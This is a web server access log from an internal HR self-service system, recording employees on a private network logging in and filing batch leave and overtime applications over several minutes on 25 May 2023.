192.168.12.71 - - [25/May/2023:08:54:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4095938498328451 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:54:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4095938498328451 HTTP/1.1" 200 14848
192.168.12.71 - - [25/May/2023:08:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4095938498328451 HTTP/1.1" 200 17027 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4095938498328451" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4095938498328451 HTTP/1.1" 200 17027
192.168.11.200 - - [25/May/2023:08:54:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8617135785530874 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:54:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8617135785530874 HTTP/1.1" 200 8816
192.168.12.71 - - [25/May/2023:08:54:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:54:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211
192.168.11.200 - - [25/May/2023:08:55:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8617135785530874 HTTP/1.1" 200 10989 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8617135785530874" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:55:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8617135785530874 HTTP/1.1" 200 10989
192.168.11.200 - - [25/May/2023:08:55:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204
192.168.11.200 - - [25/May/2023:08:55:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:55:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:55:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:55:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36717137022371715 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:55:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36717137022371715 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:56:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36717137022371715 HTTP/1.1" 200 16818 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36717137022371715" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:56:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36717137022371715 HTTP/1.1" 200 16818
192.168.11.200 - - [25/May/2023:08:56:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4476 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:56:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4476
192.168.11.236 - - [25/May/2023:08:56:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:56:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.200 - - [25/May/2023:08:56:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:56:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:08:56:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:08:56:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:56:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:56:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.236 - - [25/May/2023:08:57:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:57:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081
192.168.11.200 - - [25/May/2023:08:57:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3519356397464297 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:57:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3519356397464297 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:57:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:57:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.200 - - [25/May/2023:08:57:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3519356397464297 HTTP/1.1" 200 10993 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3519356397464297" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3519356397464297 HTTP/1.1" 200 10993
192.168.11.236 - - [25/May/2023:08:57:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 171794 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:57:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 171794
192.168.11.200 - - [25/May/2023:08:57:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.200 - - [25/May/2023:08:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:57:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10894593515760653 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10894593515760653 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:57:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10894593515760653 HTTP/1.1" 200 10987 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10894593515760653" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10894593515760653 HTTP/1.1" 200 10987
192.168.11.200 - - [25/May/2023:08:57:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:57:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.200 - - [25/May/2023:08:58:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:08:58:07 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=936160 HTTP/1.1" 200 5899 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:08:58:07 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=936160 HTTP/1.1" 200 5899
192.168.11.200 - - [25/May/2023:08:58:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12072727194965749 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12072727194965749 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:58:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12072727194965749 HTTP/1.1" 200 10989 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12072727194965749" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12072727194965749 HTTP/1.1" 200 10989
192.168.11.200 - - [25/May/2023:08:58:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.200 - - [25/May/2023:08:58:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:58:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.42471023761110716 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:58:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.42471023761110716 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:59:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.42471023761110716 HTTP/1.1" 200 10990 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.42471023761110716" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.42471023761110716 HTTP/1.1" 200 10990
192.168.11.200 - - [25/May/2023:08:59:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4109 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4109
192.168.11.200 - - [25/May/2023:08:59:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.200 - - [25/May/2023:08:59:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7535380177811917 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7535380177811917 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:59:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7535380177811917 HTTP/1.1" 200 10989 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7535380177811917" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7535380177811917 HTTP/1.1" 200 10989
192.168.11.200 - - [25/May/2023:08:59:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:59:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195
192.168.11.200 - - [25/May/2023:09:00:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:09:00:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:09:00:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1251167227461336 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:09:00:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1251167227461336 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:09:01:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1251167227461336 HTTP/1.1" 200 10989
192.168.11.200 - - [25/May/2023:09:01:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1251167227461336 HTTP/1.1" 200 10989 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1251167227461336" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:09:01:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:09:01:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.228 - - [25/May/2023:09:01:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.228 - - [25/May/2023:09:01:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:01:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.228 - - [25/May/2023:09:01:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:01:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.228 - - [25/May/2023:09:01:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
